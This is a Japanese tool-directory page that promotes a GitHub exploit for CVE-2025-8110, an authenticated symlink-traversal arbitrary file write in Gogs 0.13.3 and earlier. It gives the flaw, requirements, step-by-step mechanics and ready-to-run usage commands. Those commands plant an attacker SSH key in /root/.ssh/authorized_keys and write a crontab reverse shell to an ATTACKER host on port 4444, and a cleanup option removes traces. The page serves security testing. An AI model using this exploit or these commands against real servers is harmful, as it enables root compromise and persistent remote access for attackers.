Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-8110 — CVE-2025-8110 — Gogs <= 0.13.3 シンボリックリンクトラバーサルを利用した任意ファイル書き込み(PutContents API) | Kitploit
ツール/GitHubGitHub/3jee/cve-2025-8110
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHub3jee/cve-2025-8110

CVE-2025-8110

CVE-2025-8110 — Gogs <= 0.13.3 シンボリックリンクトラバーサルを利用した任意ファイル書き込み(PutContents API)

リポジトリを見る
24ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-8110 — Gogs <= 0.13.3 シンボリックリンクトラバーサルによる任意ファイル書き込み

概要

Gogs <= 0.13.3 は、PutContents API (/api/v1/repos/:owner/:repo/contents/:path) を介した任意ファイル書き込みに対して脆弱です。

API はディレクトリトラバーサルシーケンス (../) に対してファイルパスを検証しますが、書き込み前にシンボリックリンクを解決しません。認証済みユーザーは、サーバー上の任意のファイルを指すシンボリックリンクを含むコミットをプッシュし、そのシンボリックリンクに対して PutContents を呼び出すことで、攻撃者が制御するコンテンツでターゲットファイルを上書きできます。

Gogs が root として実行されている場合(Docker や多くのデプロイメントではデフォルト)、これによりシステム全体が危険にさらされます。

詳細値
CVECVE-2025-8110
影響を受けるバージョンGogs <= 0.13.3
タイプ認証済み任意ファイル書き込み → RCE
CVSS8.8 (高)
コンポーネントPutContents API

必要条件

  • Python 3.10+
  • requests (pip install requests)
  • git CLI
  • 有効な Gogs アカウント(またはターゲットで自己登録が開かれていること)

使用方法

root@kitploit:~
# Self-register a throwaway account + write SSH pubkey for root
python3 CVE-2025-8110.py --url http://target:3001 --register \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub

# With existing credentials
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub

# Reverse shell via crontab
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /etc/crontab \
    --content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# Cleanup the exploit repo after use
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup

動作の仕組み

  1. 認証 — ログイン(または自己登録)して API トークンを作成します。
  2. リポジトリを作成 — Web UI 経由で README を含む新しいリポジトリを初期化します。
  3. シンボリックリンクをプッシュ — リポジトリをローカルにクローンし、ターゲットファイル(例:/root/.ssh/authorized_keys)を指すシンボリックリンクを作成し、コミットしてプッシュします。
  4. シンボリックリンク経由で書き込む — シンボリックリンクのファイル名に対して PutContents API を呼び出します。Gogs はディスク上のシンボリックリンクを解決し、攻撃者のコンテンツを Gogs プロセスユーザー(多くの場合 root)として実際のファイルに書き込みます。

オプション

root@kitploit:~
--url             Gogs のベース URL(例:http://target:3001)
-u, --user        Gogs ユーザー名
-p, --password    Gogs パスワード
--register        使い捨てアカウントを自己登録(キャプチャなし)
--target-file     サーバー上で上書きする絶対パス
--content         書き込む文字列コンテンツ
--content-file    内容を書き込むローカルファイル
--repo            作成するリポジトリ名(デフォルト:ランダム)
--link-name       リポジトリ内のシンボリックリンクファイル名(デフォルト:payload)
--cleanup         書き込み後にエクスプロイトリポジトリを削除

免責事項

このツールは許可されたセキュリティテストおよび教育目的のみで提供されます。コンピュータシステムへの不正アクセスは違法です。責任を持って使用してください。

ツールをダウンロード